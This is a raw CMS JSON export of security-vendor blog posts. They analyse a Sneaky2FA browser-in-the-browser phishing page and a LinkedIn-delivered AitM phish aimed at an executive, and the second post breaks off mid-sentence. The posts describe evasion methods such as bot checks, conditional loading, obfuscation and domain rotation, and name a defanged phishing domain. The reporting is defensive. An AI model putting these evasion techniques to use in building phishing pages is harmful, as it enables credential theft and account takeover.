content":14959,"nodeType":866},{},[14960,14963,14970],{"data":14961,"marks":14962,"value":21,"nodeType":865},{},[],{"data":14964,"content":14965,"nodeType":889},{"uri":13084},[14966],{"data":14967,"marks":14968,"value":13090,"nodeType":865},{},[14969],{"type":1191},{"data":14971,"marks":14972,"value":13094,"nodeType":865},{},[],{"data":14974,"content":14975,"nodeType":866},{},[14976,14979,14986,14989,14996],{"data":14977,"marks":14978,"value":13101,"nodeType":865},{},[],{"data":14980,"content":14981,"nodeType":889},{"uri":13104},[14982],{"data":14983,"marks":14984,"value":13110,"nodeType":865},{},[14985],{"type":1191},{"data":14987,"marks":14988,"value":13114,"nodeType":865},{},[],{"data":14990,"content":14991,"nodeType":889},{"uri":13117},[14992],{"data":14993,"marks":14994,"value":1393,"nodeType":865},{},[14995],{"type":1191},{"data":14997,"marks":14998,"value":13126,"nodeType":865},{},[],{"data":15000,"content":15003,"nodeType":921},{"target":15001},{"sys":15002},{"id":13131,"type":918,"linkType":919},[],{"data":15005,"content":15008,"nodeType":921},{"target":15006},{"sys":15007},{"id":13137,"type":918,"linkType":919},[],{"data":15010,"content":15011,"nodeType":944},{},[],{"data":15013,"content":15014,"nodeType":953},{},[15015],{"data":15016,"marks":15017,"value":13149,"nodeType":865},{},[15018],{"type":935},{"data":15020,"content":15021,"nodeType":866},{},[15022,15025,15032],{"data":15023,"marks":15024,"value":21,"nodeType":865},{},[],{"data":15026,"content":15027,"nodeType":889},{"uri":13158},[15028],{"data":15029,"marks":15030,"value":13164,"nodeType":865},{},[15031],{"type":1191},{"data":15033,"marks":15034,"value":13168,"nodeType":865},{},[],{"data":15036,"content":15037,"nodeType":866},{},[15038,15041,15048],{"data":15039,"marks":15040,"value":13175,"nodeType":865},{},[],{"data":15042,"content":15043,"nodeType":889},{"uri":13178},[15044],{"data":15045,"marks":15046,"value":13184,"nodeType":865},{},[15047],{"type":1191},{"data":15049,"marks":15050,"value":13188,"nodeType":865},{},[],{"data":15052,"content":15053,"nodeType":866},{},[15054],{"data":15055,"marks":15056,"value":13195,"nodeType":865},{},[],{"data":15058,"content":15059,"nodeType":866},{},[15060,15063,15070],{"data":15061,"marks":15062,"value":13202,"nodeType":865},{},[],{"data":15064,"content":15065,"nodeType":889},{"uri":13205},[15066],{"data":15067,"marks":15068,"value":13211,"nodeType":865},{},[15069],{"type":1191},{"data":15071,"marks":15072,"value":13215,"nodeType":865},{},[],{"data":15074,"content":15077,"nodeType":921},{"target":15075},{"sys":15076},{"id":13220,"type":918,"linkType":919},[],{"data":15079,"content":15082,"nodeType":921},{"target":15080},{"sys":15081},{"id":13226,"type":918,"linkType":919},[],{"data":15084,"content":15085,"nodeType":944},{},[],{"data":15087,"content":15088,"nodeType":953},{},[15089],{"data":15090,"marks":15091,"value":13238,"nodeType":865},{},[15092],{"type":935},{"data":15094,"content":15095,"nodeType":866},{},[15096],{"data":15097,"marks":15098,"value":13245,"nodeType":865},{},[],{"data":15100,"content":15101,"nodeType":866},{},[15102],{"data":15103,"marks":15104,"value":13252,"nodeType":865},{},[],{"data":15106,"content":15107,"nodeType":866},{},[15108,15111,15118,15121,15128],{"data":15109,"marks":15110,"value":13259,"nodeType":865},{},[],{"data":15112,"content":15113,"nodeType":889},{"uri":11313},[15114],{"data":15115,"marks":15116,"value":13267,"nodeType":865},{},[15117],{"type":1191},{"data":15119,"marks":15120,"value":13271,"nodeType":865},{},[],{"data":15122,"content":15123,"nodeType":889},{"uri":13274},[15124],{"data":15125,"marks":15126,"value":13280,"nodeType":865},{},[15127],{"type":1191},{"data":15129,"marks":15130,"value":13284,"nodeType":865},{},[],{"data":15132,"content":15133,"nodeType":866},{},[15134],{"data":15135,"marks":15136,"value":13291,"nodeType":865},{},[],{"data":15138,"content":15139,"nodeType":944},{},[],{"data":15141,"content":15142,"nodeType":953},{},[15143],{"data":15144,"marks":15145,"value":13302,"nodeType":865},{},[15146],{"type":935},{"data":15148,"content":15149,"nodeType":866},{},[15150],{"data":15151,"marks":15152,"value":13309,"nodeType":865},{},[],{"data":15154,"content":15155,"nodeType":866},{},[15156],{"data":15157,"marks":15158,"value":13316,"nodeType":865},{},[],{"data":15160,"content":15161,"nodeType":866},{},[15162],{"data":15163,"marks":15164,"value":13323,"nodeType":865},{},[],{"data":15166,"content":15167,"nodeType":866},{},[15168],{"data":15169,"marks":15170,"value":13330,"nodeType":865},{},[],{"data":15172,"content":15173,"nodeType":866},{},[15174,15177,15184,15187,15194],{"data":15175,"marks":15176,"value":9514,"nodeType":865},{},[],{"data":15178,"content":15179,"nodeType":889},{"uri":3192},[15180],{"data":15181,"marks":15182,"value":3198,"nodeType":865},{},[15183],{"type":1191},{"data":15185,"marks":15186,"value":9525,"nodeType":865},{},[],{"data":15188,"content":15189,"nodeType":889},{"uri":2644},[15190],{"data":15191,"marks":15192,"value":3223,"nodeType":865},{},[15193],{"type":1191},{"data":15195,"marks":15196,"value":1066,"nodeType":865},{},[],{"entries":15198},{"hyperlink":15199,"inline":15200,"block":15201},[],[],[15202,15208,15215,15220,15227,15232,15240],{"sys":15203,"__typename":1671,"title":15204,"caption":15204,"layoutMode":59,"file":15205},{"id":12837},"Phishing is now delivered over multiple channels, not just email, targeting a wide range of cloud and SaaS apps.",{"url":15206,"width":1675,"height":15207},"https://images.ctfassets.net/y1cdw1ablpvd/1Fq4iSo4ssD0bdINZ4M31q/28d89ce5b8af767b37d2acb54a1c78cf/2.png",1003,{"sys":15209,"__typename":1671,"title":15210,"caption":15210,"layoutMode":59,"file":15211},{"id":12928},"What a web proxy sees when analyzing a network request for a modern phishing page — this is meant to show you that a fake Microsoft login page was rendered.",{"url":15212,"width":15213,"height":15214},"https://images.ctfassets.net/y1cdw1ablpvd/1dqlvz1plkQ78fSfXkQPoC/ddbc9ddec94672f10a33e483b11f0da4/2.png",1776,1780,{"sys":15216,"__typename":6765,"type":6766,"ctaText":15217,"buttonLabel":15218,"buttonColour":6769,"buttonUrl":15219},{"id":12964},"Learn more about how phishing attacks have evolved and why they're so effective at evading detection controls.","Get the Whitepaper","https://pushsecurity.com/resources/phishing-evolution",{"sys":15221,"__typename":1671,"title":15222,"caption":15222,"layoutMode":59,"file":15223},{"id":13131},"Google Sites page styled to look like a private equity fund opportunity.",{"url":15224,"width":15225,"height":15226},"https://images.ctfassets.net/y1cdw1ablpvd/1HGAL4CypIZ0BRlUT3jn74/b9f6144ee6d3c4b93868ff0b3236a3e8/Group_555.png",3444,2066,{"sys":15228,"__typename":1671,"title":15229,"caption":15229,"layoutMode":59,"file":15230},{"id":13137},"The AitM phishing page presented as a standard Google login page.",{"url":15231,"width":1675,"height":1739},"https://images.ctfassets.net/y1cdw1ablpvd/5SgufpH8y8W1GunlFzkVDp/68d702ffb904b2e5732b8fecfdda3b37/image5.png",{"sys":15233,"__typename":1671,"title":15234,"caption":15235,"layoutMode":59,"file":15236},{"id":13220},"Onfido malicious google ad","Malicious Google ad mimicking the Onfido login page link.",{"url":15237,"width":15238,"height":15239},"https://images.ctfassets.net/y1cdw1ablpvd/6Wo4Dnaftaq4kNp7z2Jlkb/9db5606b545d29e5f603ebf86e68756a/image7.png",877,536,{"sys":15241,"__typename":1671,"title":15242,"caption":15242,"layoutMode":59,"file":15243},{"id":13226},"Malicious cloned login page impersonating Onfido.",{"url":15244,"width":1675,"height":15245},"https://images.ctfassets.net/y1cdw1ablpvd/2mAuRHATA7n4sIEZd5pM1N/2e53a5d5a43c3bc72741c2c69445efe0/6.png",1089,{"items":15247},[],{},"How attackers have moved phishing beyond the mailbox",{"items":15251},[15252,15812,16364],{"__typename":1802,"sys":15253,"content":15255,"title":15798,"synopsis":15799,"hashTags":59,"publishedDate":15800,"slug":15801,"tagsCollection":15802,"authorsCollection":15808},{"id":15254},"6QLonRmBzbj9h88Y7jD0LU",{"json":15256},{"data":15257,"content":15258,"nodeType":1663},{},[15259,15266,15272,15301,15308,15315,15322,15325,15333,15353,15360,15366,15373,15379,15386,15392,15399,15405,15412,15418,15425,15432,15438,15441,15449,15469,15476,15483,15489,15507,15515,15535,15543,15561,15568,15574,15606,15614,15646,15654,15674,15679,15682,15690,15710,15716,15719,15726,15733,15740,15743,15750,15756,15763,15787,15792],{"data":15260,"content":15261,"nodeType":866},{},[15262],{"data":15263,"marks":15264,"value":15265,"nodeType":865},{},[],"PhaaS kits make up the vast majority of phishing sites intercepted by Push and dominate the phishing landscape, with kits like Tycoon, NakedPages, Flowerstorm, Salty2FA, and various Evilginx variations proving very popular among attackers targeting Push customers.",{"data":15267,"content":15268,"nodeType":866},{},[15269],{"data":15270,"marks":15271,"value":9107,"nodeType":865},{},[],{"data":15273,"content":15274,"nodeType":866},{},[15275,15279,15287,15290,15297],{"data":15276,"marks":15277,"value":15278,"nodeType":865},{},[],"This competitive environment has fuelled attacker innovation, resulting in an environment in which MFA-bypass is table stakes, phishing-resistant authentication is being circumvented through ",{"data":15280,"content":15282,"nodeType":889},{"uri":15281},"https://pushsecurity.com/blog/mfa-downgrade-attacks/",[15283],{"data":15284,"marks":15285,"value":9123,"nodeType":865},{},[15286],{"type":1191},{"data":15288,"marks":15289,"value":9127,"nodeType":865},{},[],{"data":15291,"content":15292,"nodeType":889},{"uri":1388},[15293],{"data":15294,"marks":15295,"value":9135,"nodeType":865},{},[15296],{"type":1191},{"data":15298,"marks":15299,"value":15300,"nodeType":865},{},[]," are being used to circumvent security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic.",{"data":15302,"content":15303,"nodeType":866},{},[15304],{"data":15305,"marks":15306,"value":15307,"nodeType":865},{},[],"Recently, we’ve noticed an increase in detections relating to Sneaky2FA, which operates through a fully-featured bot on Telegram. Customers reportedly receive access to a licensed, obfuscated version of the source code and deploy it independently.",{"data":15309,"content":15310,"nodeType":866},{},[15311],{"data":15312,"marks":15313,"value":15314,"nodeType":865},{},[],"This makes Sneaky2FA something that can be reliably profiled and tracked due to these codebase similarities — which is what we’re actively doing at Push. ",{"data":15316,"content":15317,"nodeType":866},{},[15318],{"data":15319,"marks":15320,"value":15321,"nodeType":865},{},[],"Why is this relevant? Well, the latest Sneaky2FA phish we identified was pretty interesting. ",{"data":15323,"content":15324,"nodeType":944},{},[],{"data":15326,"content":15327,"nodeType":953},{},[15328],{"data":15329,"marks":15330,"value":15332,"nodeType":865},{},[15331],{"type":935},"Sneaky2FA adds BITB to its phishing toolkit",{"data":15334,"content":15335,"nodeType":866},{},[15336,15340,15349],{"data":15337,"marks":15338,"value":15339,"nodeType":865},{},[],"We recently detected a Sneaky2FA server that is a bit different from the typical reverse-proxy ",{"data":15341,"content":15343,"nodeType":889},{"uri":15342},"https://pushsecurity.com/blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm/",[15344],{"data":15345,"marks":15346,"value":15348,"nodeType":865},{},[15347],{"type":1191},"Attacker-in-the-Middle",{"data":15350,"marks":15351,"value":15352,"nodeType":865},{},[]," site, featuring an embedded browser window that contained the actual phishing page. ",{"data":15354,"content":15355,"nodeType":866},{},[15356],{"data":15357,"marks":15358,"value":15359,"nodeType":865},{},[],"You can see how the page loaded below in the video below.",{"data":15361,"content":15365,"nodeType":921},{"target":15362},{"sys":15363},{"id":15364,"type":918,"linkType":919},"6L6Ban2xptI1uNA8OPJQzq",[],{"data":15367,"content":15368,"nodeType":866},{},[15369],{"data":15370,"marks":15371,"value":15372,"nodeType":865},{},[],"When the URL previewdoc[.]us is first accessed, a Cloudflare Turnstile check must be completed before the page loads. ",{"data":15374,"content":15378,"nodeType":921},{"target":15375},{"sys":15376},{"id":15377,"type":918,"linkType":919},"QscI1SZ6dOpgMkrJPtqLD",[],{"data":15380,"content":15381,"nodeType":866},{},[15382],{"data":15383,"marks":15384,"value":15385,"nodeType":865},{},[],"The page then redirects to a subdomain of previewdoc[.]us, which prompts the user to “Sign in with Microsoft” in order to view a document, styled to look like Adobe Acrobat Reader. ",{"data":15387,"content":15391,"nodeType":921},{"target":15388},{"sys":15389},{"id":15390,"type":918,"linkType":919},"7pkfAQquHrA6aUnCtj74iu",[],{"data":15393,"content":15394,"nodeType":866},{},[15395],{"data":15396,"marks":15397,"value":15398,"nodeType":865},{},[],"Upon clicking ‘Sign in with Microsoft” a reverse-proxy phishing page resembling a Microsoft login form is loaded in an embedded browser, with a custom background image designed to resemble a document library. ",{"data":15400,"content":15404,"nodeType":921},{"target":15401},{"sys":15402},{"id":15403,"type":918,"linkType":919},"782tw14AqgJ9mqneVaOdHc",[],{"data":15406,"content":15407,"nodeType":866},{},[15408],{"data":15409,"marks":15410,"value":15411,"nodeType":865},{},[],"Interestingly, the pop-up window adjusts to the visitor’s OS and browser — you can see some different examples below.",{"data":15413,"content":15417,"nodeType":921},{"target":15414},{"sys":15415},{"id":15416,"type":918,"linkType":919},"6lN9agEyeQ63LDHM1kaSqX",[],{"data":15419,"content":15420,"nodeType":866},{},[15421],{"data":15422,"marks":15423,"value":15424,"nodeType":865},{},[],"Completing authentication will result in the user’s Microsoft credentials and active session being stolen by the attacker, facilitating account takeover. ",{"data":15426,"content":15427,"nodeType":866},{},[15428],{"data":15429,"marks":15430,"value":15431,"nodeType":865},{},[],"You can see the sequence of pages loaded and Push detection events in the timeline below.",{"data":15433,"content":15437,"nodeType":921},{"target":15434},{"sys":15435},{"id":15436,"type":918,"linkType":919},"1oPpha39PMiJGUaZSptx1f",[],{"data":15439,"content":15440,"nodeType":944},{},[],{"data":15442,"content":15443,"nodeType":953},{},[15444],{"data":15445,"marks":15446,"value":15448,"nodeType":865},{},[15447],{"type":935},"Why Browser-in-the-Browser?",{"data":15450,"content":15451,"nodeType":866},{},[15452,15456,15465],{"data":15453,"marks":15454,"value":15455,"nodeType":865},{},[],"BITB was first coined as a technique in 2022 by ",{"data":15457,"content":15459,"nodeType":889},{"uri":15458},"https://mrd0x.com/browser-in-the-browser-phishing-attack/",[15460],{"data":15461,"marks":15462,"value":15464,"nodeType":865},{},[15463],{"type":1191},"mr.d0x",{"data":15466,"marks":15467,"value":15468,"nodeType":865},{},[],", but standard AITM phishing pages are far more frequently encountered in the wild, particularly when it comes to enterprise business targets.",{"data":15470,"content":15471,"nodeType":866},{},[15472],{"data":15473,"marks":15474,"value":15475,"nodeType":865},{},[],"BITB is principally designed to mask suspicious phishing URLs by simulating a pretty normal function of in-browser authentication — a pop-up login form. BITB phishing pages replicate the design of a pop-up window with an iframe pointing to a malicious server. ",{"data":15477,"content":15478,"nodeType":866},{},[15479],{"data":15480,"marks":15481,"value":15482,"nodeType":865},{},[],"The pop-up browser window shows a legitimate Microsoft login URL — this is in fact a fake URL that is designed to fool the user. ",{"data":15484,"content":15488,"nodeType":921},{"target":15485},{"sys":15486},{"id":15487,"type":918,"linkType":919},"7kI5PHTr9XYQJ0xVJUnUDu",[],{"data":15490,"content":15491,"nodeType":866},{},[15492,15496,15503],{"data":15493,"marks":15494,"value":15495,"nodeType":865},{},[],"This BITB example shares many of the advantages of typical reverse-proxy based phishing pages, as well as the ",{"data":15497,"content":15498,"nodeType":889},{"uri":1388},[15499],{"data":15500,"marks":15501,"value":9135,"nodeType":865},{},[15502],{"type":1191},{"data":15504,"marks":15505,"value":15506,"nodeType":865},{},[]," that are commonly used by attackers (and baked into PhaaS kits off-the-shelf). This includes:",{"data":15508,"content":15509,"nodeType":1229},{},[15510],{"data":15511,"marks":15512,"value":15514,"nodeType":865},{},[15513],{"type":935},"Bot protection to defeat web scraping tools",{"data":15516,"content":15517,"nodeType":866},{},[15518,15522,15531],{"data":15519,"marks":15520,"value":15521,"nodeType":865},{},[],"Attackers are using common ",{"data":15523,"content":15525,"nodeType":889},{"uri":15524},"https://phishing-techniques.pushsecurity.com/techniques/bot-protection/",[15526],{"data":15527,"marks":15528,"value":15530,"nodeType":865},{},[15529],{"type":1191},"bot protection",{"data":15532,"marks":15533,"value":15534,"nodeType":865},{},[]," technologies like CAPTCHA and Cloudflare Turnstile to prevent security bots from accessing their web pages to be able to analyse them (and therefore block pages from being automatically flagged). This requires anyone visiting the page to pass a bot check/challenge before the page can be loaded, meaning the full page cannot be analysed by automated tools. ",{"data":15536,"content":15537,"nodeType":1229},{},[15538],{"data":15539,"marks":15540,"value":15542,"nodeType":865},{},[15541],{"type":935},"Stop unwanted visitors with conditional loading",{"data":15544,"content":15545,"nodeType":866},{},[15546,15549,15557],{"data":15547,"marks":15548,"value":21,"nodeType":865},{},[],{"data":15550,"content":15551,"nodeType":889},{"uri":9195},[15552],{"data":15553,"marks":15554,"value":15556,"nodeType":865},{},[15555],{"type":1191},"Conditional loading",{"data":15558,"marks":15559,"value":15560,"nodeType":865},{},[]," techniques are used to prevent unwanted visitors from accessing the phishing page — reducing the chance that it is detected and flagged and extending the longevity of the phish. This often includes known security vendor IPs, VPN/proxy services, but is often used to target specific organizations (or even specific users within an organization). ",{"data":15562,"content":15563,"nodeType":866},{},[15564],{"data":15565,"marks":15566,"value":15567,"nodeType":865},{},[],"In this case, where the correct parameters are not supplied or the phishing site detects an unwanted variable, it will redirect to a benign wikibooks page. ",{"data":15569,"content":15573,"nodeType":921},{"target":15570},{"sys":15571},{"id":15572,"type":918,"linkType":919},"fN2XugiDIef8haTDapViT",[],{"data":15575,"content":15576,"nodeType":866},{},[15577,15581,15589,15593,15602],{"data":15578,"marks":15579,"value":15580,"nodeType":865},{},[],"Sneaky2FA has also been commonly observed using ",{"data":15582,"content":15583,"nodeType":889},{"uri":10863},[15584],{"data":15585,"marks":15586,"value":15588,"nodeType":865},{},[15587],{"type":1191},"anti-analysis",{"data":15590,"marks":15591,"value":15592,"nodeType":865},{},[]," techniques to detect or ",{"data":15594,"content":15596,"nodeType":889},{"uri":15595},"https://blog.sekoia.io/sneaky-2fa-exposing-a-new-aitm-phishing-as-a-service/#:~:text=Sneaky%202FA%20pages%20use%20anti,we%20identified%20as%20Sneaky%202FA",[15597],{"data":15598,"marks":15599,"value":15601,"nodeType":865},{},[15600],{"type":1191},"disable browser developer tools",{"data":15603,"marks":15604,"value":15605,"nodeType":865},{},[]," to block attempts to analyse the page for malicious content. ",{"data":15607,"content":15608,"nodeType":1229},{},[15609],{"data":15610,"marks":15611,"value":15613,"nodeType":865},{},[15612],{"type":935},"Page and code obfuscation",{"data":15615,"content":15616,"nodeType":866},{},[15617,15621,15629,15633,15642],{"data":15618,"marks":15619,"value":15620,"nodeType":865},{},[],"The HTML and JavaScript of Sneaky2FA pages are ",{"data":15622,"content":15623,"nodeType":889},{"uri":12901},[15624],{"data":15625,"marks":15626,"value":15628,"nodeType":865},{},[15627],{"type":1191},"heavily obfuscated",{"data":15630,"marks":15631,"value":15632,"nodeType":865},{},[]," to evade static detection and pattern-matching, ",{"data":15634,"content":15636,"nodeType":889},{"uri":15635},"https://blog.sekoia.io/sneaky-2fa-exposing-a-new-aitm-phishing-as-a-service/#:~:text=,%E2%80%9CNo%20account%3F%E2%80%9D%20and%20%E2%80%9CSign%20in%E2%80%9D",[15637],{"data":15638,"marks":15639,"value":15641,"nodeType":865},{},[15640],{"type":1191},"such as",{"data":15643,"marks":15644,"value":15645,"nodeType":865},{},[]," breaking up UI text with invisible tags, embedding background and interface elements as encoded images instead of text, and other changes that are invisible to the user, but make it hard for scanning tools to fingerprint the page. ",{"data":15647,"content":15648,"nodeType":1229},{},[15649],{"data":15650,"marks":15651,"value":15653,"nodeType":865},{},[15652],{"type":935},"Domain rotation and URL masking",{"data":15655,"content":15656,"nodeType":866},{},[15657,15661,15670],{"data":15658,"marks":15659,"value":15660,"nodeType":865},{},[],"In addition to masking the phishing site URL presented to the user via the BITB window, Sneaky2FA has been seen using ",{"data":15662,"content":15664,"nodeType":889},{"uri":15663},"https://www.centripetal.ai/threat-research/typhoon-versus-sneaky",[15665],{"data":15666,"marks":15667,"value":15669,"nodeType":865},{},[15668],{"type":1191},"stealthy hosting and domain tactics",{"data":15671,"marks":15672,"value":15673,"nodeType":865},{},[],". Each campaign uses a fresh, long, randomized URL (typically a 150-character path) on a benign-looking domain (often an old or compromised site). These domains are usually short-lived: many are taken down after just a few days or weeks. Analysts have observed that Sneaky2FA domains often lie dormant or serve harmless content until right before an attack, then quickly vanish after use. This “burn-and-replace” approach makes traditional defenses (which rely on domain reputation or pattern-matching) much weaker.",{"data":15675,"content":15678,"nodeType":921},{"target":15676},{"sys":15677},{"id":9540,"type":918,"linkType":919},[],{"data":15680,"content":15681,"nodeType":944},{},[],{"data":15683,"content":15684,"nodeType":953},{},[15685],{"data":15686,"marks":15687,"value":15689,"nodeType":865},{},[15688],{"type":935},"Are attackers moving to BITB? ",{"data":15691,"content":15692,"nodeType":866},{},[15693,15697,15706],{"data":15694,"marks":15695,"value":15696,"nodeType":865},{},[],"There is evidence that Sneaky2FAs shift to BITB might not be an isolated change. Raccoon0365 is another PhaaS service that has been seen utilizing BITB functionality after ",{"data":15698,"content":15700,"nodeType":889},{"uri":15699},"https://www.cloudflare.com/en-gb/threat-intelligence/research/report/cloudflare-participates-in-global-operation-to-disrupt-raccoono365/",[15701],{"data":15702,"marks":15703,"value":15705,"nodeType":865},{},[15704],{"type":1191},"announcing a “BITB mini-panel”",{"data":15707,"marks":15708,"value":15709,"nodeType":865},{},[]," would be added as part of a service revamp. ",{"data":15711,"content":15715,"nodeType":921},{"target":15712},{"sys":15713},{"id":15714,"type":918,"linkType":919},"2sJUR9TVbZMU1v10Tq94Pz",[],{"data":15717,"content":15718,"nodeType":944},{},[],{"data":15720,"content":15721,"nodeType":953},{},[15722],{"data":15723,"marks":15724,"value":14619,"nodeType":865},{},[15725],{"type":935},{"data":15727,"content":15728,"nodeType":866},{},[15729],{"data":15730,"marks":15731,"value":15732,"nodeType":865},{},[],"Attackers are continuously innovating their phishing techniques, particularly in the context of an increasingly professionalized PhaaS ecosystem. With identity-based attacks continuing to be the leading cause of breaches, attackers are incentivized to refine and enhance their phishing infrastructure. ",{"data":15734,"content":15735,"nodeType":866},{},[15736],{"data":15737,"marks":15738,"value":15739,"nodeType":865},{},[],"The addition of BITB, with the frequent iteration and improvement of detection evasion techniques, means that traditional security controls such as email gateways, web filters, and signature-based defenses will continue to be reliably bypassed. ",{"data":15741,"content":15742,"nodeType":944},{},[],{"data":15744,"content":15745,"nodeType":953},{},[15746],{"data":15747,"marks":15748,"value":12003,"nodeType":865},{},[15749],{"type":935},{"data":15751,"content":15752,"nodeType":866},{},[15753],{"data":15754,"marks":15755,"value":11043,"nodeType":865},{},[],{"data":15757,"content":15758,"nodeType":866},{},[15759],{"data":15760,"marks":15761,"value":15762,"nodeType":865},{},[],"Despite the various detection evasion techniques, and the use of BITB methods, Push still detected this toolkit running on the page, enabling any attack to be detected and blocked before the user could be phished. Because we can inspect the live page, we detect malicious content loaded in the browser in real time. ",{"data":15764,"content":15765,"nodeType":866},{},[15766,15769,15775,15778,15784],{"data":15767,"marks":15768,"value":9514,"nodeType":865},{},[],{"data":15770,"content":15771,"nodeType":889},{"uri":3192},[15772],{"data":15773,"marks":15774,"value":3198,"nodeType":865},{},[],{"data":15776,"marks":15777,"value":9525,"nodeType":865},{},[],{"data":15779,"content":15780,"nodeType":889},{"uri":2644},[15781],{"data":15782,"marks":15783,"value":3223,"nodeType":865},{},[],{"data":15785,"marks":15786,"value":1066,"nodeType":865},{},[],{"data":15788,"content":15791,"nodeType":921},{"target":15789},{"sys":15790},{"id":9540,"type":918,"linkType":919},[],{"data":15793,"content":15794,"nodeType":866},{},[15795],{"data":15796,"marks":15797,"value":21,"nodeType":865},{},[],"Analyzing the latest Sneaky2FA Browser-in-the-Browser phishing page","Analyzing a BITB phishing page linked to the Sneaky2FA Phishing-as-a-Service operation. ","2025-11-18T00:00:00.000Z","analyzing-the-latest-sneaky2fa-phishing-page",{"items":15803},[15804,15806],{"sys":15805,"name":2663},{"id":2662},{"sys":15807,"name":342},{"id":2666},{"items":15809},[15810],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":15811},{"url":2674},{"__typename":1802,"sys":15813,"content":15815,"title":16350,"synopsis":16351,"hashTags":59,"publishedDate":16352,"slug":16353,"tagsCollection":16354,"authorsCollection":16360},{"id":15814},"2yEhB2gFC2TJDLquVP3cg2",{"json":15816},{"data":15817,"content":15818,"nodeType":1663},{},[15819,15825,15832,15839,15846,15849,15857,15864,15884,15889,15896,15902,15909,15916,15922,15938,15943,15950,15956,15959,15967,15974,15982,16002,16009,16016,16024,16043,16051,16070,16078,16097,16102,16105,16113,16120,16163,16170,16177,16180,16187,16194,16238,16241,16248,16255,16300,16327,16334],{"data":15820,"content":15824,"nodeType":921},{"target":15821},{"sys":15822},{"id":15823,"type":918,"linkType":919},"2pi21QGUvtdsDTbZYIF5Pr",[],{"data":15826,"content":15827,"nodeType":866},{},[15828],{"data":15829,"marks":15830,"value":15831,"nodeType":865},{},[],"Push recently detected and blocked a high-risk phishing attack targeting a company executive's Google Workspace account. ",{"data":15833,"content":15834,"nodeType":866},{},[15835],{"data":15836,"marks":15837,"value":15838,"nodeType":865},{},[],"This attack demonstrated a range of advanced detection evasion techniques designed to circumvent traditional detection controls. ",{"data":15840,"content":15841,"nodeType":866},{},[15842],{"data":15843,"marks":15844,"value":15845,"nodeType":865},{},[],"Given this was a highly targeted attack against a company executive, the impact of a successful phish would have been extremely high. Push’s browser-based detection and response solution intercepted and blocked the phish in real-time, preventing the Microsoft session or credentials being captured by the attacker.",{"data":15847,"content":15848,"nodeType":944},{},[],{"data":15850,"content":15851,"nodeType":953},{},[15852],{"data":15853,"marks":15854,"value":15856,"nodeType":865},{},[15855],{"type":935},"What happened",{"data":15858,"content":15859,"nodeType":866},{},[15860],{"data":15861,"marks":15862,"value":15863,"nodeType":865},{},[],"A Push customer’s exec was targeted on LinkedIn via a direct message from another exec about an investment opportunity. The sender’s account had been compromised and used to approach high-value targets. ",{"data":15865,"content":15866,"nodeType":866},{},[15867,15871,15880],{"data":15868,"marks":15869,"value":15870,"nodeType":865},{},[],"The victim was sent a link to a basic page hosted on ",{"data":15872,"content":15874,"nodeType":889},{"uri":15873},"http://sites.google.com",[15875],{"data":15876,"marks":15877,"value":15879,"nodeType":865},{},[15878],{"type":1191},"sites.google.com",{"data":15881,"marks":15882,"value":15883,"nodeType":865},{},[],", styled as a landing page for a private equity fund investment opportunity. The page had buttons to handle both Microsoft and Google users. ",{"data":15885,"content":15888,"nodeType":921},{"target":15886},{"sys":15887},{"id":13131,"type":918,"linkType":919},[],{"data":15890,"content":15891,"nodeType":866},{},[15892],{"data":15893,"marks":15894,"value":15895,"nodeType":865},{},[],"Upon clicking a button, Google Search was used as a redirect before taking the victim to a second page hosted on Microsoft Dynamics. This page was styled to look like Google Drive, where the victim was prompted to enter their last name and email into the form. ",{"data":15897,"content":15901,"nodeType":921},{"target":15898},{"sys":15899},{"id":15900,"type":918,"linkType":919},"4fJ3JUdGcuRTa2Nza9QhkU",[],{"data":15903,"content":15904,"nodeType":866},{},[15905],{"data":15906,"marks":15907,"value":15908,"nodeType":865},{},[],"Upon entering their details and clicking submit, the victim was finally sent to an  Attacker-in-the-Middle (AitM) phishing page. ",{"data":15910,"content":15911,"nodeType":866},{},[15912],{"data":15913,"marks":15914,"value":15915,"nodeType":865},{},[],"To access the page, the victim had to solve a custom CAPTCHA challenge, which we’ve observed in a number of recent phishing attacks that we’ve linked to the Tycoon 2FA phishing kit.  ",{"data":15917,"content":15921,"nodeType":921},{"target":15918},{"sys":15919},{"id":15920,"type":918,"linkType":919},"4Yu36QHTzSBZSg00QpbD1o",[],{"data":15923,"content":15924,"nodeType":866},{},[15925,15929,15934],{"data":15926,"marks":15927,"value":15928,"nodeType":865},{},[],"Because the customer had configured Push’s ",{"data":15930,"marks":15931,"value":15933,"nodeType":865},{},[15932],{"type":935},"phishing tool detection control",{"data":15935,"marks":15936,"value":15937,"nodeType":865},{},[]," in block mode, the Push browser agent flagged the page as malicious to the user and prevented the attack from continuing. ",{"data":15939,"content":15942,"nodeType":921},{"target":15940},{"sys":15941},{"id":13137,"type":918,"linkType":919},[],{"data":15944,"content":15945,"nodeType":866},{},[15946],{"data":15947,"marks":15948,"value":15949,"nodeType":865},{},[],"This detection was hooked by the customer’s security lake to trigger their security incident response workflow for further investigation. Push’s timelines feature ensured that the full chain of URLs accessed and actions performed on different pages could be analyzed by the security team. ",{"data":15951,"content":15955,"nodeType":921},{"target":15952},{"sys":15953},{"id":15954,"type":918,"linkType":919},"4S8J7zmi6Q5wOt9vQHUe6l",[],{"data":15957,"content":15958,"nodeType":944},{},[],{"data":15960,"content":15961,"nodeType":953},{},[15962],{"data":15963,"marks":15964,"value":15966,"nodeType":865},{},[15965],{"type":935},"Notable techniques",{"data":15968,"content":15969,"nodeType":866},{},[15970],{"data":15971,"marks":15972,"value":15973,"nodeType":865},{},[],"This attack featured a number of notable attacker techniques designed to evade common phishing detection controls. ",{"data":15975,"content":15976,"nodeType":1229},{},[15977],{"data":15978,"marks":15979,"value":15981,"nodeType":865},{},[15980],{"type":935},"Delivering the phishing lure via LinkedIn",{"data":15983,"content":15984,"nodeType":866},{},[15985,15989,15998],{"data":15986,"marks":15987,"value":15988,"nodeType":865},{},[],"Using ",{"data":15990,"content":15992,"nodeType":889},{"uri":15991},"https://phishing-techniques.pushsecurity.com/techniques/social-media/",[15993],{"data":15994,"marks":15995,"value":15997,"nodeType":865},{},[15996],{"type":1191},"social media sites like LinkedIn",{"data":15999,"marks":16000,"value":16001,"nodeType":865},{},[]," to deliver a phishing message has a number of advantages for the attacker. Generally, users are less alert to phishing attempts on social platforms, particularly those like LinkedIn which are used for personal as well as work purposes. ",{"data":16003,"content":16004,"nodeType":866},{},[16005],{"data":16006,"marks":16007,"value":16008,"nodeType":865},{},[],"However, the primary benefit of delivering phishing over LinkedIn is to evade email-based detection controls. With 